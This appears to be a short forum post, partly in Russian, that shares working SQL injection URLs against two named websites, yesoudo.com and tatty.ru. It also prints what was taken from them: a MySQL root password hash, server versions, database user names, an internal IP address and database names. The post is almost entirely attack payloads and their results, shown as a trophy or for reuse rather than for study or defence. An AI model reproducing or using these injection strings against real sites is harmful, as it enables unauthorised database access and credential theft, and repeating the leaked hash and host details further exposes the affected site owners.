Это верно..

http://www.yesoudo.com/channel_detail.php?chid=-15+union+select+1,concat_ws(0x3a3a,version(),user( ),database()),3,4,5,6,7,8,9--

http://www.yesoudo.com/channel_detail.php?chid=-15+union+select+1,concat_ws(0x3a3a,user,password), 3,4,5,6,7,8,9+from+mysql.user--

root::*29D1EAE62F6F4F8D245F4F03DC8D4B6FD99516C4

version:5.0.21-log
user:root@localhost
database:yesoudo

Татуировочки..

http://tatty.ru/galary/index.php?id=-41+union+select+1,concat_ws(0x3a3a,version(),user( ),database()),3,4,5,6,7,8,9,10,11,12,13/*

version:4.1.22
user:tropico_mysql@10.1.10.215
database:tropico_db